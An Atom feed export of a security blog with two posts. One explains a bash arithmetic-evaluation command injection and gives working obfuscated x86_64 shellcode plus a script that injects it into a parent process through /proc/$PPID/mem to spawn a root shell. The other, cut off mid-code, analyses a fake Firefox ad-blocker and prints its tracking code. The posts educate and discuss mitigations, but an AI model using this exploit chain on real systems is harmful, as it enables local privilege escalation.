{"title":"Georg's Log - security","link":[{"@attributes":{"href":"https:\/\/gms.tf\/","rel":"alternate"}},{"@attributes":{"href":"https:\/\/gms.tf\/feeds\/security.atom.xml","rel":"self"}}],"id":"https:\/\/gms.tf\/","updated":"2024-12-06T10:00:00+01:00","entry":[{"title":"Injecting Code into a Linux Process","link":{"@attributes":{"href":"https:\/\/gms.tf\/inject_code.html","rel":"alternate"}},"published":"2024-12-06T10:00:00+01:00","updated":"2024-12-06T10:00:00+01:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2024-12-06:\/inject_code.html","summary":"<p>Say - entirely hypothetically - we know a shell script that is\nexecuted with root privileges via <a href=\"https:\/\/en.wikipedia.org\/wiki\/Sudo\">sudo<\/a> and we found a way\nfor normal users to convince it to call their own code.<\/p>\n<p>For demonstration purposes it then would be nice to have code\nthat invokes a local root shell, ready \u2026<\/p>","content":"<p>Say - entirely hypothetically - we know a shell script that is\nexecuted with root privileges via <a href=\"https:\/\/en.wikipedia.org\/wiki\/Sudo\">sudo<\/a> and we found a way\nfor normal users to convince it to call their own code.<\/p>\n<p>For demonstration purposes it then would be nice to have code\nthat invokes a local root shell, ready for interactive usage in\nthe current terminal.<\/p>\n<p>This article walks through from exploiting an easy to overlook flaw in\na shell script to injecting shell-code into the running shell\ninterpreter.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#the-shell-backdoor\">The Shell Backdoor<\/a><\/li>\n<li><a href=\"#a-local-interactive-shell\">A local interactive shell<\/a><\/li>\n<li><a href=\"#injecting-code-into-a-linux-process\">Injecting code into a Linux Process<\/a><\/li>\n<li><a href=\"#shellcode\">Shellcode<\/a><\/li>\n<li><a href=\"#the-process-injection\">The process injection<\/a><\/li>\n<li><a href=\"#mitigations\">Mitigations<\/a><\/li>\n<li><a href=\"#related-work\">Related Work<\/a><\/li>\n<li><a href=\"#code\">Code<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"the-shell-backdoor\">The Shell Backdoor<a class=\"headerlink\" href=\"#the-shell-backdoor\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>One would hope that a shell script that runs as root only does\nminimal work, carefully verifies user controlled input, always\nquotes all variables sufficiently and avoids well-known\nproblematic constructs such as invoking <code>eval<\/code>.<\/p>\n<p>This hope might or might not be legitimate.<\/p>\n<p>However, there is one shell feature that isn't that well known\nand may be overlooked by some as an attack vector: <\/p>\n<p>Command substitution as part of arithmetic expansion during\narithmetic evaluation.<\/p>\n<p>Consider this unsuspicious small example (say stored in <code>blah.sh<\/code>):<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"ch\">#!\/bin\/bash<\/span>\n\n<span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">[[<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$1<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span>-lt<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$2<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]]<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">    <\/span><span class=\"nb\">echo<\/span><span class=\"w\"> <\/span>hello\n<span class=\"k\">else<\/span>\n<span class=\"w\">    <\/span><span class=\"nb\">echo<\/span><span class=\"w\"> <\/span>world\n<span class=\"k\">fi<\/span>\n<\/code><\/pre><\/div>\n\n<p>Arguments are fully quoted so what could possibly go wrong,\nright?<\/p>\n<p>Right?<\/p>\n<p>Well, we can try to invoke it like this:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>.\/blah.sh &#39;a[$(touch xyz)]&#39; 23\n<\/code><\/pre><\/div>\n\n<p>Sure enough, the current working directory now contains a file\nnamed <code>xyz<\/code>.<\/p>\n<p>NB: There are other constructs besides <code>[[<\/code> where arithmetic\nevaluation is applied, e.g. also in <code>((<\/code>.<\/p>\n<h2 id=\"a-local-interactive-shell\">A local interactive shell<a class=\"headerlink\" href=\"#a-local-interactive-shell\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Sure, strictly speaking, for demonstration purposes this is\nsufficient.\nIt demonstrates clearly the flaw, and if this is inside some\nscript an unprivileged user is allowed to invoke via a narrow\nsudo config, it's a local <a href=\"https:\/\/en.wikipedia.org\/wiki\/Privilege_escalation\">privilege escalation<\/a> vulnerability.<\/p>\n<p>But such a demo also is a little bit boring.<\/p>\n<p>In order to make it more interesting, one may start a <a href=\"https:\/\/en.wiktionary.org\/wiki\/reverse_shell\">reverse\nshell<\/a>, i.e. a shell that network connects back to the demo\noperator for interactive usage.<\/p>\n<p>But arguably the best thing for such a demo is to simply invoke\nan interactive shell inside the current terminal.<\/p>\n<h2 id=\"injecting-code-into-a-linux-process\">Injecting code into a Linux Process<a class=\"headerlink\" href=\"#injecting-code-into-a-linux-process\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The challenge with our vector is that our user-controlled code is\nexecuted by the shell inside a sub-process while for a local\ninteractive shell we need to inject code into the parent process.<\/p>\n<p>We can use the following two Linux features for this injection:<\/p>\n<ol>\n<li><a href=\"https:\/\/man7.org\/linux\/man-pages\/man5\/proc_pid_syscall.5.html\"><code>\/proc\/$pid\/syscall<\/code><\/a> to determine the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Program_counter\">program counter<\/a> of the\n   parent<\/li>\n<li><a href=\"https:\/\/man7.org\/linux\/man-pages\/man5\/proc_pid_mem.5.html\"><code>\/proc\/$pid\/mem<\/code><\/a> for injecting code into the parent process<\/li>\n<\/ol>\n<p>Since both processes are running under the same user - or even\nroot, access to those files isn't restricted.<\/p>\n<p>So the basic idea is, to let the sub-process inject something\nlike the following into the parent process (at the current\nprogram counter):<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>    char *cmd = &quot;\/bin\/sh&quot;;\n    char *argv[2] = { cmd+5, 0 };\n    execve(cmd, argv, 0);\n<\/code><\/pre><\/div>\n\n<p>IOW, we want to inject some <a href=\"https:\/\/en.wikipedia.org\/wiki\/Shellcode\">shellcode<\/a>.<\/p>\n<p>NB: Conveniently, the Linux Kernel works around any read-only\npermissions of code mappings.<\/p>\n<h2 id=\"shellcode\">Shellcode<a class=\"headerlink\" href=\"#shellcode\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Depending on how the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Shellcode\">shellcode<\/a> is injected, its requirements\nvary:<\/p>\n<ol>\n<li>when injecting via a C-string the code must not contain any\n   zero bytes<\/li>\n<li>it must not be too long<\/li>\n<li>some kind of obfuscation may be useful<\/li>\n<\/ol>\n<p>For our running example those first two requirements\nclearly don't apply.\nHowever, not wasting too many bytes is always a good idea.<\/p>\n<p>The first sub-challenge is to get the <code>\"\/bin\/sh\"<\/code> string into\nmemory, since we are injecting code and can't simply put it into\nthe data segment.<\/p>\n<p>A solution is to include the string as an intermediate integer,\npush it to the stack and reference that stack location.<\/p>\n<p>In x86_64 assembler (Intel syntax):<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>mov    rcx, 0x68732f6e69622f # &quot;\/bin\/sh\\0&quot; reversed\npush   rcx\n<\/code><\/pre><\/div>\n\n<p>This works, but the shell then contains a zero byte and the\nstring shows up in <code>strings<\/code>.<\/p>\n<p>Alternatively, without any zero bytes and a little obfuscated:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"c1\"># 150409396 * 195466812 - 1 = 0x68732f6e69622f<\/span>\n<span class=\"nf\">mov<\/span><span class=\"w\">    <\/span><span class=\"no\">eax<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">195466812<\/span>\n<span class=\"nf\">imul<\/span><span class=\"w\">   <\/span><span class=\"no\">rax<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">rax<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">150409396<\/span>\n<span class=\"nf\">dec<\/span><span class=\"w\">    <\/span><span class=\"no\">rax<\/span>\n<span class=\"nf\">push<\/span><span class=\"w\">   <\/span><span class=\"no\">rax<\/span>\n<\/code><\/pre><\/div>\n\n<p>Other sub-challenges may involve using slightly non-obvious\ninstruction sequences to save a few bytes.<\/p>\n<p>Such as when setting the syscall number argument instead of a\nsimple<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nf\">mov<\/span><span class=\"w\">    <\/span><span class=\"no\">eax<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x3b<\/span><span class=\"w\">      <\/span><span class=\"c1\"># execve syscall nr,<\/span>\n<\/code><\/pre><\/div>\n\n<p>using the equivalent:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nf\">xor<\/span><span class=\"w\">    <\/span><span class=\"no\">eax<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">eax<\/span><span class=\"w\">       <\/span><span class=\"c1\">#     the same, byt shorter and no zero byte ...<\/span>\n<span class=\"nf\">mov<\/span><span class=\"w\">     <\/span><span class=\"no\">al<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x3b<\/span><span class=\"w\">      <\/span><span class=\"c1\"># execve syscall nr<\/span>\n<\/code><\/pre><\/div>\n\n<p>The complete shellcode I came up with is 32 byte large and\nreads:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"x\">   0:   31 d2                   xor    edx,edx<\/span>\n<span class=\"x\">   2:   b8 3c 96 a6 0b          mov    eax,0xba6963c<\/span>\n<span class=\"x\">   7:   48 69 c0 b4 10 f7 08    imul   rax,rax,0x8f710b4<\/span>\n<span class=\"x\">   e:   48 ff c8                dec    rax<\/span>\n<span class=\"x\">  11:   50                      push   rax<\/span>\n<span class=\"x\">  12:   48 89 e7                mov    rdi,rsp<\/span>\n<span class=\"x\">  15:   52                      push   rdx<\/span>\n<span class=\"x\">  16:   57                      push   rdi<\/span>\n<span class=\"x\">  17:   31 c0                   xor    eax,eax<\/span>\n<span class=\"x\">  19:   b0 3b                   mov    al,0x3b<\/span>\n<span class=\"x\">  1b:   48 89 e6                mov    rsi,rsp<\/span>\n<span class=\"x\">  1e:   0f 05                   syscall<\/span>\n<\/code><\/pre><\/div>\n\n<p>See also the <a href=\"https:\/\/github.com\/gsauthof\/shell-tricks\">my Git repository<\/a> for the complete commented\nassembly source.<\/p>\n<h2 id=\"the-process-injection\">The process injection<a class=\"headerlink\" href=\"#the-process-injection\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The first reflex to write a few bytes to <code>\/proc\/$pid\/mem<\/code> may\nbe to use <a href=\"https:\/\/en.wikipedia.org\/wiki\/Dd_(Unix)\"><code>dd<\/code><\/a>.<\/p>\n<p>However, <code>dd<\/code> is cumbersome to use, is not everywhere available\nand might even trigger some suspicion in process monitoring.<\/p>\n<p>As an alternative, one can open and seek it in a shell script by\nother means.<\/p>\n<p>A complete injection shell script example:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nv\">pc<\/span><span class=\"o\">=<\/span><span class=\"k\">$(<\/span>cut<span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span><span class=\"s1\">&#39; &#39;<\/span><span class=\"w\"> <\/span>-f9<span class=\"w\"> <\/span>\/proc\/<span class=\"nv\">$PPID<\/span>\/syscall<span class=\"k\">)<\/span>\n<span class=\"nb\">exec<\/span><span class=\"w\"> <\/span><span class=\"o\">{<\/span>fd<span class=\"o\">}<\/span>&lt;&gt;\/proc\/<span class=\"nv\">$PPID<\/span>\/mem\n&lt;<span class=\"p\">&amp;<\/span><span class=\"nv\">$fd<\/span><span class=\"w\"> <\/span>cmp<span class=\"w\"> <\/span>-n<span class=\"w\"> <\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>-<span class=\"w\"> <\/span>-<span class=\"w\"> <\/span><span class=\"nv\">$pc<\/span>\n<span class=\"nb\">printf<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;\\x31\\xd2...\\x48\\x89\\xe6\\x0f\\x05&#39;<\/span><span class=\"w\"> <\/span>&gt;<span class=\"p\">&amp;<\/span><span class=\"nv\">$fd<\/span>\n<span class=\"nb\">echo<\/span><span class=\"w\"> <\/span>Have<span class=\"w\"> <\/span>fun<span class=\"w\"> <\/span>...&gt;<span class=\"p\">&amp;<\/span><span class=\"m\">2<\/span>\n<\/code><\/pre><\/div>\n\n<p>Process injection into our running example is then as simple as:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>.\/blah.sh<span class=\"w\"> <\/span><span class=\"s1\">&#39;a[$(.\/inj.sh)]&#39;<\/span><span class=\"w\">  <\/span><span class=\"m\">2<\/span>\nHave<span class=\"w\"> <\/span>fun<span class=\"w\"> <\/span>...\nsh-5.2$\n<\/code><\/pre><\/div>\n\n<p>Again, see also <a href=\"https:\/\/github.com\/gsauthof\/shell-tricks\">my Git repository<\/a> for the complete script.<\/p>\n<h2 id=\"mitigations\">Mitigations<a class=\"headerlink\" href=\"#mitigations\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Since relatively much userspace is using those interfaces,\nthe Linux Kernel is hesitant to remove them or restrict\ntheir usage. However, in recent kernel development there were <a href=\"https:\/\/lore.kernel.org\/lkml\/CAD=FV=Vh7Ctaj6N_k9gdkrqpb687zJqQN19qTZXMyDw6TujvLQ@mail.gmail.com\/T\/\">some<\/a>\n<a href=\"https:\/\/lore.kernel.org\/lkml\/CAHk-=wiGWLChxYmUA5HrT5aopZrB7_2VTa0NLZcxORgkUe5tEQ@mail.gmail.com\/\">efforts<\/a> to provide a way for distributions to somewhat restrict\n<code>\/proc\/$pid\/mem<\/code> usage.<\/p>\n<p>It remains to be seen whether the Linux kernel merges something\nlike that.<\/p>\n<p>Of course, a Linux Security Module (LSM) such as SELinux might\nhelp to make the described techniques harder to exploit in some\ncontexts.<\/p>\n<p>Last but not least, it always makes sense to review the usage of\nshell scripting. Shell scripting often is the wrong tool for the\njob, especially in security sensitive contexts.\nAnd especially when a shell scripts grows large it's usually\na sign that one should have switched over to a more appropriate\nimplementation language, some time ago.<\/p>\n<h2 id=\"related-work\">Related Work<a class=\"headerlink\" href=\"#related-work\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The ideas and techniques described in this article aren't novel.<\/p>\n<p>If one web-searches a bit around one can easily find decade(s) old\nreferences. Also people rediscover these bits and pieces from\ntime to time.<\/p>\n<p>Coming up with clever shellcode for various architectures is a\nsport on its own and people like to share their results.\nThus, this article arguably also illustrates that getting started from\nfirst principles doesn't take too much effort, is very\ninstructive and can be fun.<\/p>\n<p>Selected list of related work:<\/p>\n<ul>\n<li><a href=\"https:\/\/lwn.net\/Articles\/476947\/\">A \/proc\/PID\/mem vulnerability<\/a>. LWN, Jack Edge, 2012 - reports on pitfalls properly implementing that access in the kernel<\/li>\n<li><a href=\"https:\/\/lists.gnu.org\/archive\/html\/bug-bash\/2014-06\/msg00007.html\">Re: Arithmetic + array allows for code injection<\/a>. Bash bug mailing list,  Maarten Billemont, 2014 - summarises that thread a bit<\/li>\n<li><a href=\"https:\/\/unix.stackexchange.com\/a\/172109\/1131\">Answer to Security Implications of using unsanitized data in\n  Shell Arithmetic\n  evaluation<\/a>. Unix\n  Stackexchange, St\u00e9phane Chazelas, 2014 - also illustrates how to\n  overwrite the PATH variable via arithmetic evaluation, i.e.\n  when the CWD of the script is writable by an attacker<\/li>\n<li><a href=\"https:\/\/unix.stackexchange.com\/a\/171347\/1131\">Answer to Security implications of forgetting to quote a\n  variable in bash\/POSIX\n  shells<\/a>. Unix\n  Stackexchange, St\u00e9phane Chazelas, 2014 - covers more ground but\n  also touches on arithmetic evaluation<\/li>\n<li><a href=\"https:\/\/www.vidarholen.net\/contents\/blog\/?p=716\">Bash\u2019s white collar eval: [[ $var -eq 42 ]] runs arbitrary code too<\/a>. Vidar, 2018 - Blog post on this topic<\/li>\n<li><a href=\"https:\/\/joev.dev\/posts\/unprivileged-process-injection-techniques-in-linux\">Unprivileged Process Injection Techniques in Linux<\/a>. joev,\n  2024 - Blog post that includes some historic references and\n  shows limited usage of the metasploit framework<\/li>\n<li><a href=\"https:\/\/fosstodon.org\/@kees\/113520954432255291\">Mastadon comment<\/a>. Kees Cook, 2024 - this thread includes some misconceptions of knowledgable people which demonstrates the complexity of writing robust shell scripts in the presence of such obscure features<\/li>\n<\/ul>\n<h2 id=\"code\">Code<a class=\"headerlink\" href=\"#code\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>See also <a href=\"https:\/\/github.com\/gsauthof\/shell-tricks\">my Git repository<\/a> for all the source code used in this\narticle.<\/p>","category":[{"@attributes":{"term":"security"}},{"@attributes":{"term":"shell"}},{"@attributes":{"term":"linux"}}]},{"title":"The Anatomy of a Firefox Malware Addon","link":{"@attributes":{"href":"https:\/\/gms.tf\/the-anatomy-of-a-firefox-malware-addon.html","rel":"alternate"}},"published":"2019-03-23T10:00:00+01:00","updated":"2019-03-23T10:00:00+01:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2019-03-23:\/the-anatomy-of-a-firefox-malware-addon.html","summary":"<p>Some time ago, I was contacted to fix a computer running <a href=\"https:\/\/en.wikipedia.org\/wiki\/Ubuntu\">Ubuntu<\/a>.\nBasically, after many flawless LTS distribution upgrade the last\none failed and made the graphical boot hang hard. Thus, the fix was to\nbackup the home directory, re-install a fresh Ubuntu and restore\nthe home. Color me surprised \u2026<\/p>","content":"<p>Some time ago, I was contacted to fix a computer running <a href=\"https:\/\/en.wikipedia.org\/wiki\/Ubuntu\">Ubuntu<\/a>.\nBasically, after many flawless LTS distribution upgrade the last\none failed and made the graphical boot hang hard. Thus, the fix was to\nbackup the home directory, re-install a fresh Ubuntu and restore\nthe home. Color me surprised when I quickly checked the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Firefox\">Firefox<\/a>\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Add-on_(Mozilla)\">addons<\/a> and noticed a suspicious looking one:<\/p>\n<p><img alt=\"Firefox Malware Addon Screenshot\" src=\"https:\/\/gms.tf\/image\/ublock_ads_plus.jpg\"><\/p>\n<p>The screenshot reads:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>ublock Ads Plus\nBy Firefox Developer\nAdblocker Pro - der beste Anzeigenblocker f\u00fcr alle deutschen Seiten\n<\/code><\/pre><\/div>\n\n<p>The last part translated to English:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nv\">The<\/span><span class=\"w\"> <\/span><span class=\"nv\">best<\/span><span class=\"w\"> <\/span><span class=\"nv\">Ad<\/span><span class=\"o\">-<\/span><span class=\"nv\">Blocker<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"nv\">all<\/span><span class=\"w\"> <\/span><span class=\"nv\">German<\/span><span class=\"w\"> <\/span><span class=\"nv\">sites<\/span>\n<\/code><\/pre><\/div>\n\n<p>Clearly, everything about this is ultra suspicious. It's not just\none name, it's two names ('ublock Ads Plus' and 'Adblocker Pro').\nThe names are obviously a play on words trying to invoke\nfamiliarity with the very fine and legitimate ad-blockers <a href=\"https:\/\/en.wikipedia.org\/wiki\/UBlock_Origin\">uBlock\nOrigin<\/a> and <a href=\"https:\/\/en.wikipedia.org\/wiki\/Adblock_Plus\">Adblock Plus<\/a>. Also, as if an addon author\nwould use the utmost generic 'Firefox Developer' as author name.\nLet alone the ridiculous catch phrase.<\/p>\n<p>Searching the Web for this addon name <a href=\"https:\/\/adguard.com\/en\/blog\/over-20-000-000-of-chrome-users-are-victims-of-fake-ad-blockers\/\">turned up<\/a> some <a href=\"https:\/\/www.zdnet.com\/article\/google-cuts-fake-ad-blockers-from-chrome-store-were-you-among-20-million-fooled\/\">articles<\/a>\nabout <a href=\"https:\/\/en.wikipedia.org\/wiki\/Google_Chrome\">Chrome<\/a> <a href=\"https:\/\/en.wikipedia.org\/wiki\/Malware\">malware<\/a> addons that use similar name\nvariations. Thus, I stored that addon for later analysis and\nwiped it from the affected machine.<\/p>\n<p>Unpacking the captured <code>adblocker@pro.org.xpi<\/code> (a.k.a. 'ublock\nAds Plus') addon zip archive reveals that it's some kind of\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/UBlock_Origin\">uBlock Origin<\/a> rip-off because most copyright headers are\nintact:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>uBlock Origin - a browser extension to block requests.\nCopyright (C) 2014-2016 Raymond Hill\n\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n[..]\n<\/code><\/pre><\/div>\n\n<p>Now the question is whether this rip-off is malicious or not. And if\nit is, how bad is it? Comparing it with a uBlock Origin\nrevision from late 2016 shows that it does indeed add some\nmalicious code.<\/p>\n<h2 id=\"malicious-additions\">Malicious Additions<a class=\"headerlink\" href=\"#malicious-additions\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The <a href=\"https:\/\/en.wikipedia.org\/wiki\/Malware\">malware<\/a> code still contains many active (or commented)\n<code>console.log()<\/code> calls - apparently, the author is a big fan of\nprintf debugging.<\/p>\n<p>In <code>js\/background.js<\/code>, firstly, a custom uninstall URL is\n<a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Mozilla\/Add-ons\/WebExtensions\/API\/runtime\/setUninstallURL\">installed<\/a>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nx\">browser<\/span><span class=\"p\">.<\/span><span class=\"nx\">runtime<\/span><span class=\"p\">.<\/span><span class=\"nx\">setUninstallURL<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;https:\/\/goo.gl\/forms\/zLaR0ptFbmZtcWSA2&quot;<\/span><span class=\"p\">);<\/span>\n<\/code><\/pre><\/div>\n\n<p>Also at the top level, there is some logic to report to a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Google_Analytics\">Google\nAnalytics<\/a> account that the malware addon is still active in\nthe victim's browser, each 24 hours:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;Ticker calculation...&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"k\">try<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">start<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;tickclock&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">millis<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nb\">Date<\/span><span class=\"p\">.<\/span><span class=\"nx\">now<\/span><span class=\"p\">()<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"nx\">start<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">elapsed<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nb\">Math<\/span><span class=\"p\">.<\/span><span class=\"nx\">floor<\/span><span class=\"p\">(<\/span><span class=\"nx\">millis<\/span><span class=\"o\">\/<\/span><span class=\"mf\">1000<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">elapsed<\/span><span class=\"o\">&gt;=<\/span><span class=\"mf\">86400<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">u_uuid<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\">  <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;uuid&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">ccampaignId<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;campaignID&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">manifest<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">browser<\/span><span class=\"p\">.<\/span><span class=\"nx\">runtime<\/span><span class=\"p\">.<\/span><span class=\"nx\">getManifest<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">        <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">extnName<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">manifest<\/span><span class=\"p\">.<\/span><span class=\"nx\">name<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">manifest<\/span><span class=\"p\">.<\/span><span class=\"nx\">name<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">        <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">request<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"ow\">new<\/span><span class=\"w\"> <\/span><span class=\"nx\">XMLHttpRequest<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">        <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">uri<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;v=1&amp;t=event&amp;tid=UA-93019183-1&amp;cid=&quot;<\/span>\n<span class=\"w\">                  <\/span><span class=\"o\">+<\/span><span class=\"nx\">u_uuid<\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;aip=1&amp;ds=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nx\">extnName<\/span>\n<span class=\"w\">                  <\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;ec=firefox&amp;ea=firefox_user_active&amp;el=extension_ON&amp;cm=&quot;<\/span>\n<span class=\"w\">                  <\/span><span class=\"o\">+<\/span><span class=\"nx\">ccampaignId<\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;es=browsersession&quot;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">message<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nb\">encodeURI<\/span><span class=\"p\">(<\/span><span class=\"nx\">uri<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">request<\/span><span class=\"p\">.<\/span><span class=\"nx\">open<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;POST&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;https:\/\/www.google-analytics.com\/collect&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kc\">true<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">request<\/span><span class=\"p\">.<\/span><span class=\"nx\">setRequestHeader<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;User-Agent&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">              <\/span><span class=\"s2\">&quot;Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/51.0.2704.103 Safari\/537.36&quot;<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">        <\/span><span class=\"nx\">request<\/span><span class=\"p\">.<\/span><span class=\"nx\">send<\/span><span class=\"p\">(<\/span><span class=\"nx\">message<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">setItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;tickclock&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nb\">Date<\/span><span class=\"p\">.<\/span><span class=\"nx\">now<\/span><span class=\"p\">());<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span><span class=\"w\"> <\/span><span class=\"k\">catch<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nx\">e<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">   <\/span><span class=\"k\">this<\/span><span class=\"p\">.<\/span><span class=\"nx\">_log<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;Error sending report to Google Analytics.\\n&quot;<\/span><span class=\"w\"> <\/span><span 